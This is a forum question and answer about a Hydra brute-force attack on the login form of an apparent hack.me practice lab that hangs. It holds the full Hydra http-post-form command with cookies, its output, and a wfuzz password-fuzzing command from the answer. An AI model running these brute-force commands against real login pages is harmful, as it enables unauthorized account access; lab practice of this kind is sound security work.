I'm using the Hydra tool on Kali Linux 2020.1 and I'm trying to brute force a login at hack.me http://s123056-104737-qer.sipontum.hack.me/login.php. My problem is that whenever I run Hydra it gets stuck.

I used Burp Suite to get the cookies and the failure string "invalid" I also got the IP via Burp (and also tried using the resolved host name) Also tried to use both http-get-form and http-post-form

This is my command

hydra -l user -P passws.txt http-post-form"/login.php:username=^USER^&password=^PASS^&Login=Login:invalid&Login=Login:H=Cookie: __utma=233483271.55664693.1581785552.1581785552.1581841829.2; __utmz=233483271.1581841829.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __unam=657356c-17049c563d0-1c1145bc-18; __utmc=233483271; PHPSESSID=v9njnd2g7e2gbalulmbgof9vt4" -I -V

and this is what I get

    hydra -l user -P passws.txt http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login:invalid&Login=Login:H=Cookie: __utma=233483271.55664693.1581785552.1581785552.1581841829.2; __utmz=233483271.1581841829.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __unam=657356c-17049c563d0-1c1145bc-18; __utmc=233483271; PHPSESSID=v9njnd2g7e2gbalulmbgof9vt4" -I -V
Hydra v9.1-dev (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-02-16 12:35:20
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 7 tasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] attacking http-post-form://^USER^&password=^PASS^&Login=Login:invalid&Login=Login:H=Cookie: __utma=233483271.55664693.1581785552.1581785552.1581841829.2; __utmz=233483271.1581841829.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __unam=657356c-17049c563d0-1c1145bc-18; __utmc=233483271; PHPSESSID=v9njnd2g7e2gbalulmbgof9vt4
[ATTEMPT] target - login "user" - pass "uba" - 1 of 7 [child 0] (0/0)
[ATTEMPT] target - login "user" - pass "milan" - 2 of 7 [child 1] (0/0)
[ATTEMPT] target - login "user" - pass "admin" - 3 of 7 [child 2] (0/0)
[ATTEMPT] target - login "user" - pass "foca" - 4 of 7 [child 3] (0/0)
[ATTEMPT] target - login "user" - pass "password" - 5 of 7 [child 4] (0/0)
[ATTEMPT] target - login "user" - pass "trota" - 6 of 7 [child 5] (0/0)
[ATTEMPT] target - login "user" - pass "Ciaociao.90" - 7 of 7 [child 6] (0/0)

after this it just hangs forever. Every minute I get outputs like this

[STATUS] 7.00 tries/min, 7 tries in 00:01h, 1 to do in 00:01h, 7 active

but every time with a decreasing tries/min

When I run the command without including the cookie and the failure string it works, but of course is not able to tell successful logins apart from failed ones. I tried to run this command from a different computer and also from a virtual machine, but without success.

I have no clue on what to do.

1 Answer 1


Hydra gives a lot of false positive, at least this is my experience with it. You can try to use wfuzz instead with this syntax for post request wfuzz -z file,wordlist/others/common_pass.txt -d "uname=FUZZ&pass=FUZZ"

You will know the right password when you see the 3xx code as a response from the server.

Here is the link to the official documentation https://wfuzz.readthedocs.io/en/latest/user/basicusage.html


You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .